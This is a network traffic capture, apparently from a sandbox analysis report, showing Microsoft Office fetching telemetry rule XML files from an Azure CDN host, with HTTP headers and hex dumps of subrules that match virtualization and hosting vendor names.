Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:43 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:43 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 3c45f43b-a01e-00ab-363f-269106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200943Z-r197bdfb6b4kkrkjudg185sarw00000002a000000000een7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:43 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:43 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:43 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:43 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 8b572347-501e-008c-80f2-21cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200943Z-16849878b785g992cz2s9gk35c000000084g00000000q3y4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:43 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:43 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:43 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:43 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: c0884099-101e-0046-3a40-2291b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200943Z-16849878b78ngdnlw4w0762cms000000086000000000sygt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:43 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:43 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:43 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200943Z-15b8d89586fbt6nf34bm5uw08n00000003eg000000003tcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:43 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:43 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:43 UTC	498	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:43 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 97926059-b01e-0002-293b-261b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200943Z-r197bdfb6b49q4951yb663v3ds00000000mg000000004wzh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-24 20:09:43 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:44 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 34547014-f01e-003f-75cc-20d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200944Z-16849878b78rjhv97f3nhawr7s000000082g00000000t08f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:44 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:44 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 18d6d76d-f01e-0052-73f2-249224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200944Z-15b8d89586fnsf5zd126eyaetw00000000qg00000000bfe6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:44 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:44 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:44 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:44 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: cfffa7b8-401e-0064-673b-2654af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200944Z-16849878b78j5kdg3dndgqw0vg000000019000000000580x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:44 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:44 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fea5f70-201e-0071-57f4-24ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200944Z-r197bdfb6b42sc4ddemybqpm140000000qbg000000005b7y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:44 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:44 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 135f94f0-d01e-002b-2a55-2225fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200944Z-16849878b785g992cz2s9gk35c000000085g00000000kenx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:44 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:45 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: c561987e-801e-0015-0d0b-22f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200944Z-16849878b78j7llf5vkyvvcehs00000000n00000000099fs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:44 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:45 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:44 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 23333e9c-201e-003f-1e18-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200944Z-r197bdfb6b4ld6jc5asqwvvz0w000000023g00000000srap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:45 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 